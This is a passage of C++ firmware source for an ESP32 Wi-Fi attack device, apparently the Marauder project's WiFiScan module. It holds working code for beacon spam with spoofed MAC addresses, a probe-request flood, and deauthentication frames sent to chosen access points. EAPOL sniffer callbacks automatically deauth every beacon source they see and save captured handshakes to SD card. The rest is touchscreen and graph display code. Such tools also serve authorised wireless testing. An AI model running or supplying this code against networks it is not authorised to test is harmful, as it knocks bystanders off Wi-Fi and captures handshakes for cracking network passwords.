  2040. packet[15] = packet[21] = random(256);
  2041. char ESSID[custom_ssid.essid.length() + 1] = {};
  2042. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  2043. int realLen = strlen(ESSID);
  2044. int ssidLen = random(realLen, 33);
  2045. int numSpace = ssidLen - realLen;
  2046. //int rand_len = sizeof(rand_reg);
  2047. int fullLen = ssidLen;
  2048. packet[37] = fullLen;
  2049. // Insert my tag
  2050. for(int i = 0; i < realLen; i++)
  2051. packet[38 + i] = ESSID[i];
  2052. for(int i = 0; i < numSpace; i++)
  2053. packet[38 + realLen + i] = 0x20;
  2054. /////////////////////////////
  2055. packet[50 + fullLen] = set_channel;
  2056. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2057. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2058. // Add everything that goes after the SSID
  2059. //for(int i = 0; i < 12; i++)
  2060. // packet[38 + fullLen + i] = postSSID[i];
  2061. packet[34] = custom_ssid.beacon->get(0);
  2062. packet[35] = custom_ssid.beacon->get(1);
  2063. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2064. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2065. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2066. packets_sent = packets_sent + 3;
  2067. }
  2068. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  2069. set_channel = random(1,12);
  2070. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2071. delay(1);
  2072. // Randomize SRC MAC
  2073. packet[10] = packet[16] = custom_ssid.bssid[0];
  2074. packet[11] = packet[17] = custom_ssid.bssid[1];
  2075. packet[12] = packet[18] = custom_ssid.bssid[2];
  2076. packet[13] = packet[19] = custom_ssid.bssid[3];
  2077. packet[14] = packet[20] = custom_ssid.bssid[4];
  2078. packet[15] = packet[21] = custom_ssid.bssid[5];
  2079. char ESSID[custom_ssid.essid.length() + 1] = {};
  2080. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  2081. int ssidLen = strlen(ESSID);
  2082. //int rand_len = sizeof(rand_reg);
  2083. int fullLen = ssidLen;
  2084. packet[37] = fullLen;
  2085. // Insert my tag
  2086. for(int i = 0; i < ssidLen; i++)
  2087. packet[38 + i] = ESSID[i];
  2088. /////////////////////////////
  2089. packet[50 + fullLen] = set_channel;
  2090. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2091. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2092. // Add everything that goes after the SSID
  2093. for(int i = 0; i < 12; i++)
  2094. packet[38 + fullLen + i] = postSSID[i];
  2095. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2096. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2097. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2098. packets_sent = packets_sent + 3;
  2099. }
  2100. // Function to send beacons with random ESSID length
  2101. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  2102. set_channel = random(1,12);
  2103. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2104. delay(1);
  2105. // Randomize SRC MAC
  2106. packet[10] = packet[16] = random(256);
  2107. packet[11] = packet[17] = random(256);
  2108. packet[12] = packet[18] = random(256);
  2109. packet[13] = packet[19] = random(256);
  2110. packet[14] = packet[20] = random(256);
  2111. packet[15] = packet[21] = random(256);
  2112. int ssidLen = strlen(ESSID);
  2113. //int rand_len = sizeof(rand_reg);
  2114. int fullLen = ssidLen;
  2115. packet[37] = fullLen;
  2116. // Insert my tag
  2117. for(int i = 0; i < ssidLen; i++)
  2118. packet[38 + i] = ESSID[i];
  2119. /////////////////////////////
  2120. packet[50 + fullLen] = set_channel;
  2121. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2122. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2123. // Add everything that goes after the SSID
  2124. for(int i = 0; i < 12; i++)
  2125. packet[38 + fullLen + i] = postSSID[i];
  2126. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2127. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2128. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2129. packets_sent = packets_sent + 3;
  2130. }
  2131. // Function for sending crafted beacon frames
  2132. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  2133. set_channel = random(1,12);
  2134. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2135. delay(1);
  2136. // Randomize SRC MAC
  2137. packet[10] = packet[16] = random(256);
  2138. packet[11] = packet[17] = random(256);
  2139. packet[12] = packet[18] = random(256);
  2140. packet[13] = packet[19] = random(256);
  2141. packet[14] = packet[20] = random(256);
  2142. packet[15] = packet[21] = random(256);
  2143. packet[37] = 6;
  2144. // Randomize SSID (Fixed size 6. Lazy right?)
  2145. packet[38] = alfa[random(65)];
  2146. packet[39] = alfa[random(65)];
  2147. packet[40] = alfa[random(65)];
  2148. packet[41] = alfa[random(65)];
  2149. packet[42] = alfa[random(65)];
  2150. packet[43] = alfa[random(65)];
  2151. packet[56] = set_channel;
  2152. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2153. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2154. // Add everything that goes after the SSID
  2155. for(int i = 0; i < 12; i++)
  2156. packet[38 + 6 + i] = postSSID[i];
  2157. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2158. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  2159. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  2160. packets_sent = packets_sent + 3;
  2161. }
  2162. // Function to send probe flood to all "active" access points
  2163. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  2164. // Itterate through all access points in list
  2165. for (int i = 0; i < access_points->size(); i++) {
  2166. // Check if active
  2167. if (access_points->get(i).selected) {
  2168. this->set_channel = access_points->get(i).channel;
  2169. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2170. delay(1);
  2171. // Build packet
  2172. // Randomize SRC MAC
  2173. prob_req_packet[10] = random(256);
  2174. prob_req_packet[11] = random(256);
  2175. prob_req_packet[12] = random(256);
  2176. prob_req_packet[13] = random(256);
  2177. prob_req_packet[14] = random(256);
  2178. prob_req_packet[15] = random(256);
  2179. // Set SSID length
  2180. int ssidLen = access_points->get(i).essid.length();
  2181. //int rand_len = sizeof(rand_reg);
  2182. int fullLen = ssidLen;
  2183. prob_req_packet[25] = fullLen;
  2184. // Insert ESSID
  2185. char buf[access_points->get(i).essid.length() + 1] = {};
  2186. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  2187. for(int i = 0; i < ssidLen; i++)
  2188. prob_req_packet[26 + i] = buf[i];
  2189. /*
  2190. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  2191. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  2192. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  2193. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  2194. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  2195. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2196. 0x00, 0x00
  2197. */
  2198. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  2199. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  2200. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  2201. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  2202. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  2203. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2204. 0x00, 0x00, 0x00, 0x00};
  2205. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  2206. for (int i = 0; i < 26 + fullLen; i++)
  2207. good_probe_req_packet[i] = prob_req_packet[i];
  2208. for(int i = 0; i < 40; i++)
  2209. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  2210. // Send packet
  2211. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2212. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2213. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2214. packets_sent = packets_sent + 3;
  2215. }
  2216. }
  2217. }
  2218. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
  2219. // Itterate through all access points in list
  2220. // Check if active
  2221. WiFiScan::set_channel = channel;
  2222. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  2223. delay(1);
  2224. // Build packet
  2225. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2226. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2227. deauth_frame_default[10] = bssid[0];
  2228. deauth_frame_default[11] = bssid[1];
  2229. deauth_frame_default[12] = bssid[2];
  2230. deauth_frame_default[13] = bssid[3];
  2231. deauth_frame_default[14] = bssid[4];
  2232. deauth_frame_default[15] = bssid[5];
  2233. deauth_frame_default[16] = bssid[0];
  2234. deauth_frame_default[17] = bssid[1];
  2235. deauth_frame_default[18] = bssid[2];
  2236. deauth_frame_default[19] = bssid[3];
  2237. deauth_frame_default[20] = bssid[4];
  2238. deauth_frame_default[21] = bssid[5];
  2239. // Send packet
  2240. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2241. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2242. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2243. packets_sent = packets_sent + 3;
  2244. }
  2245. void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
  2246. // Itterate through all access points in list
  2247. for (int i = 0; i < access_points->size(); i++) {
  2248. // Check if active
  2249. if (access_points->get(i).selected) {
  2250. this->set_channel = access_points->get(i).channel;
  2251. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2252. delay(1);
  2253. // Build packet
  2254. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2255. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2256. deauth_frame_default[10] = access_points->get(i).bssid[0];
  2257. deauth_frame_default[11] = access_points->get(i).bssid[1];
  2258. deauth_frame_default[12] = access_points->get(i).bssid[2];
  2259. deauth_frame_default[13] = access_points->get(i).bssid[3];
  2260. deauth_frame_default[14] = access_points->get(i).bssid[4];
  2261. deauth_frame_default[15] = access_points->get(i).bssid[5];
  2262. deauth_frame_default[16] = access_points->get(i).bssid[0];
  2263. deauth_frame_default[17] = access_points->get(i).bssid[1];
  2264. deauth_frame_default[18] = access_points->get(i).bssid[2];
  2265. deauth_frame_default[19] = access_points->get(i).bssid[3];
  2266. deauth_frame_default[20] = access_points->get(i).bssid[4];
  2267. deauth_frame_default[21] = access_points->get(i).bssid[5];
  2268. // Send packet
  2269. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2270. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2271. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2272. packets_sent = packets_sent + 3;
  2273. }
  2274. }
  2275. }
  2276. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2277. {
  2278. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2279. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2280. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2281. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2282. int len = snifferPacket->rx_ctrl.sig_len;
  2283. String display_string = "";
  2284. #ifdef HAS_SCREEN
  2285. int buff = display_obj.display_buffer->size();
  2286. #else
  2287. int buff = 0;
  2288. #endif
  2289. if (type == WIFI_PKT_MGMT)
  2290. {
  2291. len -= 4;
  2292. int fctl = ntohs(frameControl->fctl);
  2293. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2294. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2295. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  2296. #ifndef MARAUDER_MINI
  2297. if (snifferPacket->payload[0] == 0x80)
  2298. {
  2299. num_beacon++;
  2300. }
  2301. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  2302. {
  2303. num_deauth++;
  2304. }
  2305. else if (snifferPacket->payload[0] == 0x40)
  2306. {
  2307. num_probe++;
  2308. }
  2309. #endif
  2310. char addr[] = "00:00:00:00:00:00";
  2311. getMAC(addr, snifferPacket->payload, 10);
  2312. display_string.concat(addr);
  2313. int temp_len = display_string.length();
  2314. #ifdef HAS_SCREEN
  2315. for (int i = 0; i < 40 - temp_len; i++)
  2316. {
  2317. display_string.concat(" ");
  2318. }
  2319. //Serial.print(" ");
  2320. #ifdef MARAUDER_MINI
  2321. if (display_obj.display_buffer->size() == 0)
  2322. {
  2323. display_obj.loading = true;
  2324. display_obj.display_buffer->add(display_string);
  2325. display_obj.loading = false;
  2326. }
  2327. #endif
  2328. #endif
  2329. if (save_packet)
  2330. sd_obj.addPacket(snifferPacket->payload, len);
  2331. }
  2332. }
  2333. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2334. {
  2335. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2336. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2337. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2338. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2339. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2340. int len = snifferPacket->rx_ctrl.sig_len;
  2341. String display_string = "";
  2342. if (type == WIFI_PKT_MGMT)
  2343. {
  2344. len -= 4;
  2345. int fctl = ntohs(frameControl->fctl);
  2346. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2347. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2348. }
  2349. #ifdef HAS_SCREEN
  2350. int buff = display_obj.display_buffer->size();
  2351. #else
  2352. int buff = 0;
  2353. #endif
  2354. // Found beacon frame. Decide whether to deauth
  2355. if (send_deauth) {
  2356. if (snifferPacket->payload[0] == 0x80) {
  2357. // Build packet
  2358. uint8_t new_packet[26] = {
  2359. 0xc0, 0x00, 0x3a, 0x01,
  2360. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2361. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2362. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2363. 0xf0, 0xff, 0x02, 0x00
  2364. };
  2365. new_packet[10] = snifferPacket->payload[10];
  2366. new_packet[11] = snifferPacket->payload[11];
  2367. new_packet[12] = snifferPacket->payload[12];
  2368. new_packet[13] = snifferPacket->payload[13];
  2369. new_packet[14] = snifferPacket->payload[14];
  2370. new_packet[15] = snifferPacket->payload[15];
  2371. new_packet[16] = snifferPacket->payload[10];
  2372. new_packet[17] = snifferPacket->payload[11];
  2373. new_packet[18] = snifferPacket->payload[12];
  2374. new_packet[19] = snifferPacket->payload[13];
  2375. new_packet[20] = snifferPacket->payload[14];
  2376. new_packet[21] = snifferPacket->payload[15];
  2377. // Send packet
  2378. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2379. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2380. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2381. delay(1);
  2382. }
  2383. }
  2384. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2385. num_eapol++;
  2386. Serial.println("Received EAPOL:");
  2387. char addr[] = "00:00:00:00:00:00";
  2388. getMAC(addr, snifferPacket->payload, 10);
  2389. display_string.concat(addr);
  2390. int temp_len = display_string.length();
  2391. #ifdef HAS_SCREEN
  2392. for (int i = 0; i < 40 - temp_len; i++)
  2393. {
  2394. display_string.concat(" ");
  2395. }
  2396. Serial.print(" ");
  2397. #ifdef MARAUDER_MINI
  2398. if (display_obj.display_buffer->size() == 0)
  2399. {
  2400. display_obj.loading = true;
  2401. display_obj.display_buffer->add(display_string);
  2402. display_obj.loading = false;
  2403. }
  2404. #endif
  2405. #endif
  2406. // for (int i = 0; i < len; i++) {
  2407. // char hexCar[4];
  2408. // sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2409. // Serial.print(hexCar);
  2410. //Serial.print(snifferPacket->payload[i], HEX);
  2411. // if ((i + 1) % 16 == 0)
  2412. // Serial.print("\n");
  2413. // else
  2414. // Serial.print(" ");
  2415. // }
  2416. // Serial.print("\n");
  2417. }
  2418. if (save_packet)
  2419. sd_obj.addPacket(snifferPacket->payload, len);
  2420. }
  2421. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2422. {
  2423. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2424. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2425. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2426. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2427. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2428. int len = snifferPacket->rx_ctrl.sig_len;
  2429. if (type == WIFI_PKT_MGMT)
  2430. {
  2431. len -= 4;
  2432. int fctl = ntohs(frameControl->fctl);
  2433. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2434. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2435. }
  2436. // Found beacon frame. Decide whether to deauth
  2437. if (snifferPacket->payload[0] == 0x80) {
  2438. // Build packet
  2439. //Serial.println("Recieved beacon frame");
  2440. uint8_t new_packet[26] = {
  2441. 0xc0, 0x00, 0x3a, 0x01,
  2442. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2443. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2444. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2445. 0xf0, 0xff, 0x02, 0x00
  2446. };
  2447. new_packet[10] = snifferPacket->payload[10];
  2448. new_packet[11] = snifferPacket->payload[11];
  2449. new_packet[12] = snifferPacket->payload[12];
  2450. new_packet[13] = snifferPacket->payload[13];
  2451. new_packet[14] = snifferPacket->payload[14];
  2452. new_packet[15] = snifferPacket->payload[15];
  2453. new_packet[16] = snifferPacket->payload[10];
  2454. new_packet[17] = snifferPacket->payload[11];
  2455. new_packet[18] = snifferPacket->payload[12];
  2456. new_packet[19] = snifferPacket->payload[13];
  2457. new_packet[20] = snifferPacket->payload[14];
  2458. new_packet[21] = snifferPacket->payload[15];
  2459. // Send packet
  2460. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2461. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2462. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2463. delay(1);
  2464. }
  2465. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2466. num_eapol++;
  2467. Serial.println("Received EAPOL:");
  2468. // for (int i = 0; i < len; i++) {
  2469. // char hexCar[3];
  2470. // snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
  2471. // Serial.print(hexCar);
  2472. //Serial.print(snifferPacket->payload[i], HEX);
  2473. // if ((i + 1) % 16 == 0)
  2474. // Serial.print("\n");
  2475. // else
  2476. // Serial.print(" ");
  2477. // }
  2478. // Serial.print("\n");
  2479. }
  2480. if (save_packet)
  2481. sd_obj.addPacket(snifferPacket->payload, len);
  2482. }
  2483. #ifdef HAS_SCREEN
  2484. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2485. {
  2486. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2487. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2488. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2489. {
  2490. currentTime = millis();
  2491. do_break = false;
  2492. y_pos_x = 0;
  2493. y_pos_y = 0;
  2494. y_pos_z = 0;
  2495. boolean pressed = false;
  2496. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2497. // Do the touch stuff
  2498. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2499. if (pressed) {
  2500. Serial.print("Got touch | X: ");
  2501. Serial.print(t_x);
  2502. Serial.print(" Y: ");
  2503. Serial.println(t_y);
  2504. }
  2505. // Check buttons for presses
  2506. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2507. {
  2508. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2509. {
  2510. display_obj.key[b].press(true);
  2511. } else {
  2512. display_obj.key[b].press(false);
  2513. }
  2514. }
  2515. // Which buttons pressed
  2516. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2517. {
  2518. if (display_obj.key[b].justPressed())
  2519. {
  2520. Serial.println("Bro, key pressed");
  2521. //do_break = true;
  2522. }
  2523. if (display_obj.key[b].justReleased())
  2524. {
  2525. do_break = true;
  2526. // Channel - button pressed
  2527. if (b == 4) {
  2528. if (set_channel > 1) {
  2529. Serial.println("Shit channel down");
  2530. set_channel--;
  2531. delay(70);
  2532. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2533. //display_obj.tftDrawXScaleButtons(x_scale);
  2534. //display_obj.tftDrawYScaleButtons(y_scale);
  2535. display_obj.tftDrawChannelScaleButtons(set_channel);
  2536. display_obj.tftDrawExitScaleButtons();
  2537. changeChannel();
  2538. break;
  2539. }
  2540. }
  2541. // Channel + button pressed
  2542. else if (b == 5) {
  2543. if (set_channel < MAX_CHANNEL) {
  2544. Serial.println("Shit channel up");
  2545. set_channel++;
  2546. delay(70);
  2547. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2548. //display_obj.tftDrawXScaleButtons(x_scale);
  2549. //display_obj.tftDrawYScaleButtons(y_scale);
  2550. display_obj.tftDrawChannelScaleButtons(set_channel);
  2551. display_obj.tftDrawExitScaleButtons();
  2552. changeChannel();
  2553. break;
  2554. }
  2555. }
  2556. else if (b == 6) {
  2557. Serial.println("Exiting packet monitor...");
  2558. this->StartScan(WIFI_SCAN_OFF);
  2559. //display_obj.tft.init();
  2560. this->orient_display = true;
  2561. return;
  2562. }
  2563. }
  2564. }
  2565. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2566. //Serial.println("-----------------------------------------");
  2567. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2568. x_pos += x_scale;
  2569. initTime = millis();
  2570. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2571. if (y_pos_x >= HEIGHT_1) {
  2572. Serial.println("Max EAPOL number reached. Adjusting...");
  2573. num_eapol = 0;
  2574. }
  2575. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2576. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2577. //Serial.println("num_beacon: " + (String)num_beacon);
  2578. //Serial.println("num_deauth: " + (String)num_deauth);
  2579. //Serial.println(" num_probe: " + (String)num_probe);
  2580. //num_beacon = 0;
  2581. //num_probe = 0;
  2582. //num_deauth = 0;
  2583. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2584. //Plot "X" value
  2585. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2586. //Plot "Z" value
  2587. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2588. //Plot "Y" value
  2589. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2590. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2591. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2592. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2593. {
  2594. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2595. }
  2596. else
  2597. {
  2598. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2599. }
  2600. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2601. //if (x_pos <= 90)
  2602. if (x_pos < 0) // below x axis
  2603. {
  2604. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2605. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2606. }
  2607. else
  2608. {
  2609. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2610. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2611. }
  2612. //tftDisplayTime();
  2613. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2614. {
  2615. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2616. }
  2617. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2618. //y_pos_y_old = y_pos_y;
  2619. //y_pos_z_old = y_pos_z;
  2620. //delay(50);
  2621. }
  2622. sd_obj.main();
  2623. }
  2624. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2625. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2626. display_obj.tftDrawChannelScaleButtons(set_channel);
  2627. display_obj.tftDrawExitScaleButtons();
  2628. display_obj.tftDrawEapolColorKey();
  2629. display_obj.tftDrawGraphObjects(x_scale);
  2630. }
  2631. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2632. {
  2633. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2634. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2635. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2636. {
  2637. currentTime = millis();
  2638. do_break = false;
  2639. y_pos_x = 0;
  2640. y_pos_y = 0;
  2641. y_pos_z = 0;
  2642. boolean pressed = false;
  2643. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2644. // Do the touch stuff
  2645. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2646. if (pressed) {
  2647. Serial.print("Got touch | X: ");
  2648. Serial.print(t_x);
  2649. Serial.print(" Y: ");
  2650. Serial.println(t_y);
  2651. }
  2652. // Check buttons for presses
  2653. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2654. {
  2655. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2656. {
  2657. display_obj.key[b].press(true);
  2658. } else {
  2659. display_obj.key[b].press(false);
  2660. }
  2661. }
  2662. // Which buttons pressed
  2663. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2664. {
  2665. if (display_obj.key[b].justPressed())
  2666. {
  2667. Serial.println("Bro, key pressed");
  2668. //do_break = true;
  2669. }
  2670. if (display_obj.key[b].justReleased())
  2671. {
  2672. do_break = true;
  2673. // X - button pressed
  2674. if (b == 0) {
  2675. if (x_scale > 1) {
  2676. x_scale--;
  2677. delay(70);
  2678. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2679. display_obj.tftDrawXScaleButtons(x_scale);
